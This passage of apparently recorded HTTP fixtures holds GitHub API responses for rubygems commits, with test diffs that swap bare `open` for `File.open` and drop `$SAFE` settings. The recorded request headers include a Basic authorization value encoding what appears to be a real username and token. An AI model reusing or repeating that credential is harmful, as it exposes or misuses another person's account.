''gem.deps.rb'', ''w'' do |io|\n io.puts ''gem \"a\"''\n io.flush\n \n@@ -104,7 +104,7 @@ def test_install_from_gemdeps_install_dir\n rs = Gem::RequestSet.new\n installed = []\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.puts ''gem \"a\"''\n end\n \n@@ -128,7 +128,7 @@ def test_install_from_gemdeps_local\n \n rs = Gem::RequestSet.new\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.puts ''gem \"a\"''\n io.flush\n \n@@ -150,7 +150,7 @@ def test_install_from_gemdeps_lockfile\n rs = Gem::RequestSet.new\n installed = []\n \n- open ''gem.deps.rb.lock'', ''w'' do |io|\n+ File.open ''gem.deps.rb.lock'', ''w'' do |io|\n io.puts <<-LOCKFILE\n GEM\n remote: #{@gem_repo}\n@@ -167,7 +167,7 @@ def test_install_from_gemdeps_lockfile\n LOCKFILE\n end\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.puts ''gem \"b\"''\n end\n \n@@ -190,7 +190,7 @@ def test_install_from_gemdeps_version_mismatch\n rs = Gem::RequestSet.new\n installed = []\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.puts <<-GEM_DEPS\n gem \"a\"\n ruby \"0\""},{"sha":"7460b7efad21d7302052319e7f3afd15f60a6ae6","filename":"test/rubygems/test_gem_request_set_lockfile.rb","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_request_set_lockfile.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_request_set_lockfile.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_request_set_lockfile.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -31,7 +31,7 @@ def lockfile\n def write_lockfile lockfile\n @lock_file = File.expand_path \"#{@gem_deps_file}.lock\"\n \n- open @lock_file, ''w'' do |io|\n+ File.open @lock_file, ''w'' do |io|\n io.write lockfile\n end\n end\n@@ -387,7 +387,7 @@ def test_to_s_git\n s.add_dependency ''c'', ''~> 1.0''\n end\n \n- open ''b.gemspec'', ''w'' do |io|\n+ File.open ''b.gemspec'', ''w'' do |io|\n io.write b.to_ruby\n end\n \n@@ -400,7 +400,7 @@ def test_to_s_git\n Dir.chdir ''c'' do\n c = Gem::Specification.new ''c'', 1\n \n- open ''c.gemspec'', ''w'' do |io|\n+ File.open ''c.gemspec'', ''w'' do |io|\n io.write c.to_ruby\n end\n \n@@ -455,7 +455,7 @@ def test_write_error\n \n gem_deps_lock_file = \"#{@gem_deps_file}.lock\"\n \n- open gem_deps_lock_file, ''w'' do |io|\n+ File.open gem_deps_lock_file, ''w'' do |io|\n io.write ''hello''\n end\n "},{"sha":"f3517da43a7d5d47541ec538fae195da59e90313","filename":"test/rubygems/test_gem_request_set_lockfile_parser.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_request_set_lockfile_parser.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_request_set_lockfile_parser.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_request_set_lockfile_parser.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -536,7 +536,7 @@ def test_parse_missing\n end\n \n def write_lockfile lockfile\n- open @lock_file, ''w'' do |io|\n+ File.open @lock_file, ''w'' do |io|\n io.write lockfile\n end\n end"},{"sha":"f4aba6d94ac178caa189881c1b2a56e27d00ff86","filename":"test/rubygems/test_gem_request_set_lockfile_tokenizer.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_request_set_lockfile_tokenizer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_request_set_lockfile_tokenizer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_request_set_lockfile_tokenizer.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -295,7 +295,7 @@ def test_unget\n end\n \n def write_lockfile lockfile\n- open @lock_file, ''w'' do |io|\n+ File.open @lock_file, ''w'' do |io|\n io.write lockfile\n end\n end"},{"sha":"211757eb204aaf1aaca810a516769816ef6d000d","filename":"test/rubygems/test_gem_resolver_git_specification.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_resolver_git_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_resolver_git_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_resolver_git_specification.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -70,7 +70,7 @@ def test_install_extension\n Dir.chdir ''git/a'' do\n FileUtils.mkdir_p ''ext/lib''\n \n- open ''ext/extconf.rb'', ''w'' do |io|\n+ File.open ''ext/extconf.rb'', ''w'' do |io|\n io.puts ''require \"mkmf\"''\n io.puts ''create_makefile \"a\"''\n end"},{"sha":"b5c025e6941cfbbafe3c68bcd46a09b9268fc7ec","filename":"test/rubygems/test_gem_server.rb","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_server.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_server.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_server.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -100,7 +100,7 @@ def test_latest_specs_gemdirs\n specs_dir = File.join dir, ''specifications''\n FileUtils.mkdir_p specs_dir\n \n- open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n+ File.open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n io.write spec.to_ruby\n end\n \n@@ -198,7 +198,7 @@ def test_quick_gemdirs\n \n FileUtils.mkdir_p specs_dir\n \n- open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n+ File.open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n io.write spec.to_ruby\n end\n \n@@ -339,7 +339,7 @@ def test_root_gemdirs\n specs_dir = File.join dir, ''specifications''\n FileUtils.mkdir_p specs_dir\n \n- open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n+ File.open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n io.write spec.to_ruby\n end\n \n@@ -378,7 +378,7 @@ def test_specs_gemdirs\n specs_dir = File.join dir, ''specifications''\n FileUtils.mkdir_p specs_dir\n \n- open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n+ File.open File.join(specs_dir, spec.spec_name), ''w'' do |io|\n io.write spec.to_ruby\n end\n "},{"sha":"8805a9b40455e279d5e3b01e3ea749520ac27c13","filename":"test/rubygems/test_gem_source.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_source.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_source.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_source.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -110,7 +110,7 @@ def test_fetch_spec_cached\n \n cache_file = File.join cache_dir, a1.spec_name\n \n- open cache_file, ''wb'' do |io|\n+ File.open cache_file, ''wb'' do |io|\n Marshal.dump a1, io\n end\n \n@@ -163,7 +163,7 @@ def test_load_specs_cached\n \n cache_file = File.join cache_dir, \"latest_specs.#{Gem.marshal_version}\"\n \n- open cache_file, ''wb'' do |io|\n+ File.open cache_file, ''wb'' do |io|\n Marshal.dump latest_specs, io\n end\n \n@@ -187,7 +187,7 @@ def test_load_specs_cached_empty\n \n cache_file = File.join cache_dir, \"latest_specs.#{Gem.marshal_version}\"\n \n- open cache_file, ''wb'' do |io|\n+ File.open cache_file, ''wb'' do |io|\n # Setup invalid data in the cache:\n io.write Marshal.dump(latest_specs)[0, 10]\n end"},{"sha":"8f5d3ee745747fad55d6f9166d9341e79fb6d064","filename":"test/rubygems/test_gem_source_git.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_source_git.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_source_git.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_source_git.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -229,7 +229,7 @@ def test_specs\n Dir.chdir ''b'' do\n b = Gem::Specification.new ''b'', 1\n \n- open ''b.gemspec'', ''w'' do |io|\n+ File.open ''b.gemspec'', ''w'' do |io|\n io.write b.to_ruby\n end\n "},{"sha":"3cad3bb36349c87ce2a3b82e5a20cf482f83e4cf","filename":"test/rubygems/test_gem_specification.rb","status":"modified","additions":16,"deletions":16,"changes":32,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_specification.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -922,7 +922,7 @@ def test_self_load\n end\n \n def test_self_load_relative\n- open ''a-2.gemspec'', ''w'' do |io|\n+ File.open ''a-2.gemspec'', ''w'' do |io|\n io.write @a2.to_ruby_for_cache\n end\n \n@@ -1114,7 +1114,7 @@ def test_self_remove_spec\n end\n \n def test_self_remove_spec_removed\n- open @a1.spec_file, ''w'' do |io|\n+ File.open @a1.spec_file, ''w'' do |io|\n io.write @a1.to_ruby\n end\n \n@@ -1366,13 +1366,13 @@ def test_build_args\n \n assert_empty @ext.build_args\n \n- open @ext.build_info_file, ''w'' do |io|\n+ File.open @ext.build_info_file, ''w'' do |io|\n io.puts\n end\n \n assert_empty @ext.build_args\n \n- open @ext.build_info_file, ''w'' do |io|\n+ File.open @ext.build_info_file, ''w'' do |io|\n io.puts ''--with-foo-dir=wherever''\n end\n \n@@ -1388,9 +1388,9 @@ def test_build_extensions\n extconf_rb = File.join @ext.gem_dir, @ext.extensions.first\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n- open ''Makefile'', ''w'' do |f|\n+ File.open ''Makefile'', ''w'' do |f|\n f.puts \"clean:\\n\\techo clean\"\n f.puts \"default:\\n\\techo built\"\n f.puts \"install:\\n\\techo installed\"\n@@ -1438,9 +1438,9 @@ def test_build_extensions_default_gem\n extconf_rb = File.join spec.gem_dir, spec.extensions.first\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n- open ''Makefile'', ''w'' do |f|\n+ File.open ''Makefile'', ''w'' do |f|\n f.puts \"default:\\n\\techo built\"\n f.puts \"install:\\n\\techo installed\"\n end\n@@ -1472,9 +1472,9 @@ def test_build_extensions_extensions_dir_unwritable\n extconf_rb = File.join @ext.gem_dir, @ext.extensions.first\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n- open ''Makefile'', ''w'' do |f|\n+ File.open ''Makefile'', ''w'' do |f|\n f.puts \"clean:\\n\\techo clean\"\n f.puts \"default:\\n\\techo built\"\n f.puts \"install:\\n\\techo installed\"\n@@ -1505,9 +1505,9 @@ def test_build_extensions_no_extensions_dir_unwritable\n extconf_rb = File.join @ext.gem_dir, @ext.extensions.first\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n- open ''Makefile'', ''w'' do |f|\n+ File.open ''Makefile'', ''w'' do |f|\n f.puts \"clean:\\n\\techo clean\"\n f.puts \"default:\\n\\techo built\"\n f.puts \"install:\\n\\techo installed\"\n@@ -1554,9 +1554,9 @@ def test_build_extensions_preview\n extconf_rb = File.join @ext.gem_dir, @ext.extensions.first\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n- open ''Makefile'', ''w'' do |f|\n+ File.open ''Makefile'', ''w'' do |f|\n f.puts \"clean:\\n\\techo clean\"\n f.puts \"default:\\n\\techo built\"\n f.puts \"install:\\n\\techo installed\"\n@@ -3421,9 +3421,9 @@ def test_missing_extensions_eh\n extconf_rb = File.join @ext.gem_dir, @ext.extensions.first\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n- open ''Makefile'', ''w'' do |f|\n+ File.open ''Makefile'', ''w'' do |f|\n f.puts \"clean:\\n\\techo clean\"\n f.puts \"default:\\n\\techo built\"\n f.puts \"install:\\n\\techo installed\""},{"sha":"f9a3a236c0878e86575c3fd8a2fafea3df8fff8f","filename":"test/rubygems/test_gem_stub_specification.rb","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/rubygems/rubygems/blob/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_stub_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a5e9acadf7206873fc681a3eed61c64252353b7c/test/rubygems/test_gem_stub_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_stub_specification.rb?ref=a5e9acadf7206873fc681a3eed61c64252353b7c","patch":"@@ -127,9 +127,9 @@ def test_missing_extensions_eh\n extconf_rb = File.join s.gem_dir, s.extensions.first\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n- open ''Makefile'', ''w'' do |f|\n+ File.open ''Makefile'', ''w'' do |f|\n f.puts \"clean:\\n\\techo clean\"\n f.puts \"default:\\n\\techo built\"\n f.puts \"install:\\n\\techo installed\"\n@@ -149,7 +149,7 @@ def test_missing_extensions_eh_default_gem\n spec = new_default_spec ''default'', 1\n spec.extensions << ''extconf.rb''\n \n- open spec.loaded_from, ''w'' do |io|\n+ File.open spec.loaded_from, ''w'' do |io|\n io.write spec.to_ruby_for_cache\n end\n \n@@ -198,7 +198,7 @@ def test_to_spec_missing_extensions\n \n def stub_with_version\n spec = File.join @gemhome, ''specifications'', ''stub_e-2.gemspec''\n- open spec, ''w'' do |io|\n+ File.open spec, ''w'' do |io|\n io.write <<-STUB\n # -*- encoding: utf-8 -*-\n # stub: stub_v 2 ruby lib\n@@ -221,7 +221,7 @@ def stub_with_version\n \n def stub_without_version\n spec = File.join @gemhome, ''specifications'', ''stub-2.gemspec''\n- open spec, ''w'' do |io|\n+ File.open spec, ''w'' do |io|\n io.write <<-STUB\n # -*- encoding: utf-8 -*-\n # stub: stub_v ruby lib\n@@ -245,7 +245,7 @@ def stub_without_version\n \n def stub_with_extension\n spec = File.join @gemhome, ''specifications'', ''stub_e-2.gemspec''\n- open spec, ''w'' do |io|\n+ File.open spec, ''w'' do |io|\n io.write <<-STUB\n # -*- encoding: utf-8 -*-\n # stub: stub_e 2 ruby lib\n@@ -271,7 +271,7 @@ def stub_with_extension\n \n def stub_without_extension\n spec = File.join @gemhome, ''specifications'', ''stub-2.gemspec''\n- open spec, ''w'' do |io|\n+ File.open spec, ''w'' do |io|\n io.write <<-STUB\n # -*- encoding: utf-8 -*-\n # stub: stub 2 ruby lib"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:34 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ba4bb1934e00313d61db2c46ac705fd4938d6eb8 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:34 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4620' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"08f33dd5d6cf24063fc4633017995c4a" Last-Modified: - Fri, 05 Jan 2018 06:28:08 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041047' X-Github-Request-Id: - A152:4D95:F47872:1C82C3D:5A50E456 body: encoding: ASCII-8BIT string: '{"sha":"ba4bb1934e00313d61db2c46ac705fd4938d6eb8","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T06:28:08Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T06:28:08Z"},"message":"Auto merge of #2141 - rubygems:backport-ruby-core, r=hsbt\n\nBackport ruby core changes for test fixes.\n\nRuby 2.6 will change the behavior of `$SAFE` variable.\n\nIt''s part of test fixes by @MSP-Greg like https://github.com/rubygems/rubygems/pull/2139","tree":{"sha":"bc01b299573792892bbcdcabf0ce8a69ab8a020a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bc01b299573792892bbcdcabf0ce8a69ab8a020a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ba4bb1934e00313d61db2c46ac705fd4938d6eb8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ba4bb1934e00313d61db2c46ac705fd4938d6eb8","html_url":"https://github.com/rubygems/rubygems/commit/ba4bb1934e00313d61db2c46ac705fd4938d6eb8","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ba4bb1934e00313d61db2c46ac705fd4938d6eb8/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"d487894c2e4f3ace75a11e91323c9aca6716d15a","url":"https://api.github.com/repos/rubygems/rubygems/commits/d487894c2e4f3ace75a11e91323c9aca6716d15a","html_url":"https://github.com/rubygems/rubygems/commit/d487894c2e4f3ace75a11e91323c9aca6716d15a"},{"sha":"520ba008808e258a48d5666bbf4ca930a3b9c312","url":"https://api.github.com/repos/rubygems/rubygems/commits/520ba008808e258a48d5666bbf4ca930a3b9c312","html_url":"https://github.com/rubygems/rubygems/commit/520ba008808e258a48d5666bbf4ca930a3b9c312"}],"stats":{"total":41,"additions":19,"deletions":22},"files":[{"sha":"80ae8e90ef6a2e032cd6d942db28b1ca9d7f532a","filename":"test/rubygems/test_gem.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/ba4bb1934e00313d61db2c46ac705fd4938d6eb8/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ba4bb1934e00313d61db2c46ac705fd4938d6eb8/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=ba4bb1934e00313d61db2c46ac705fd4938d6eb8","patch":"@@ -7,7 +7,7 @@\n require ''tmpdir''\n \n # TODO: push this up to test_case.rb once battle tested\n-$SAFE=1\n+\n $LOAD_PATH.map! do |path|\n path.dup.untaint\n end"},{"sha":"afc919d41168908bdac4b6a53966f26f62fe7a04","filename":"test/rubygems/test_gem_specification.rb","status":"modified","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/ba4bb1934e00313d61db2c46ac705fd4938d6eb8/test/rubygems/test_gem_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ba4bb1934e00313d61db2c46ac705fd4938d6eb8/test/rubygems/test_gem_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_specification.rb?ref=ba4bb1934e00313d61db2c46ac705fd4938d6eb8","patch":"@@ -948,6 +948,9 @@ def test_self_load_tainted\n @a2.files.clear\n \n assert_equal @a2, spec\n+\n+ ensure\n+ $SAFE = 0\n end\n \n def test_self_load_escape_curly"},{"sha":"e292ce226d125b079e27e5c19e0d1ffb266c32c4","filename":"test/rubygems/test_require.rb","status":"modified","additions":15,"deletions":21,"changes":36,"blob_url":"https://github.com/rubygems/rubygems/blob/ba4bb1934e00313d61db2c46ac705fd4938d6eb8/test/rubygems/test_require.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ba4bb1934e00313d61db2c46ac705fd4938d6eb8/test/rubygems/test_require.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_require.rb?ref=ba4bb1934e00313d61db2c46ac705fd4938d6eb8","patch":"@@ -38,18 +38,6 @@ def assert_require(path)\n assert require(path), \"''#{path}'' was already required\"\n end\n \n- def append_latch spec\n- dir = spec.gem_dir\n- Dir.chdir dir do\n- spec.files.each do |file|\n- File.open file, ''a'' do |fp|\n- fp.puts \"FILE_ENTERED_LATCH.release\"\n- fp.puts \"FILE_EXIT_LATCH.await\"\n- end\n- end\n- end\n- end\n-\n # Providing -I on the commandline should always beat gems\n def test_dash_i_beats_gems\n a1 = new_spec \"a\", \"1\", {\"b\" => \"= 1\"}, \"lib/test_gem_require_a.rb\"\n@@ -80,6 +68,17 @@ def test_dash_i_beats_gems\n Object.send :remove_const, :HELLO if Object.const_defined? :HELLO\n end\n \n+ def create_sync_thread\n+ Thread.new do\n+ begin\n+ yield\n+ ensure\n+ FILE_ENTERED_LATCH.release\n+ FILE_EXIT_LATCH.await\n+ end\n+ end\n+ end\n+\n def test_concurrent_require\n skip ''deadlock'' if /^1\\.8\\./ =~ RUBY_VERSION\n \n@@ -91,11 +90,8 @@ def test_concurrent_require\n \n install_specs a1, b1\n \n- append_latch a1\n- append_latch b1\n-\n- t1 = Thread.new { assert_require ''a'' }\n- t2 = Thread.new { assert_require ''b'' }\n+ t1 = create_sync_thread{ assert_require ''a'' }\n+ t2 = create_sync_thread{ assert_require ''b'' }\n \n # wait until both files are waiting on the exit latch\n FILE_ENTERED_LATCH.await\n@@ -106,10 +102,8 @@ def test_concurrent_require\n assert t1.join, \"thread 1 should exit\"\n assert t2.join, \"thread 2 should exit\"\n ensure\n- return if $! # skipping\n-\n- Object.send :remove_const, :FILE_ENTERED_LATCH\n- Object.send :remove_const, :FILE_EXIT_LATCH\n+ Object.send :remove_const, :FILE_ENTERED_LATCH if Object.const_defined? :FILE_ENTERED_LATCH\n+ Object.send :remove_const, :FILE_EXIT_LATCH if Object.const_defined? :FILE_EXIT_LATCH\n end\n \n def test_require_is_not_lazy_with_exact_req"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:34 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/3effdf755a542034892563d46ffbda4048c76bb5 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:35 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4619' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"01acb61b57a000445446d2ba23b600d4" Last-Modified: - Fri, 05 Jan 2018 06:26:17 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.063948' X-Github-Request-Id: - A154:4D95:F4787C:1C82C50:5A50E456 body: encoding: ASCII-8BIT string: '{"sha":"3effdf755a542034892563d46ffbda4048c76bb5","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T06:26:17Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T06:26:17Z"},"message":"Partly reverted to use File.open for bundler example.","tree":{"sha":"4390d335e2d8c5f262ea13d3647b0cec514c83af","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4390d335e2d8c5f262ea13d3647b0cec514c83af"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/3effdf755a542034892563d46ffbda4048c76bb5","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpPGokACgkQ+c8TQXJk\n+sIetAf9HRXfbozdHFXgNRUFlZykOpbOVzqfKv+ZFPDA+rBdqYQsPMqiAUYHpA8n\np3pZs30v/nTxZ8woivcEGBCLPWYETNPjyuyKcG8KFEeP3OLpVZODNYGfpe6qioz8\nW5Hte3OOuQnIFClmFwr59elmkT+RusGFTfYJESkw5umnyg3ehdJHFrJiEl+lyK+p\nEFqSJs1UxP0ilMGuxjiYl7eQjV+3Gn4IMRAHoO0Cr08Or9yYehxjuWtdfpMWVSqH\nWzq0d1sfzdO1siT6e1K8LoWWS1FzxTrQnfmuTljnjFqoIFZbDbvef7v4nPauxhQz\nNk3zicXoSAdF+4nm0f1I8D0GxRhHvA==\n=f7iH\n-----END PGP SIGNATURE-----","payload":"tree 4390d335e2d8c5f262ea13d3647b0cec514c83af\nparent 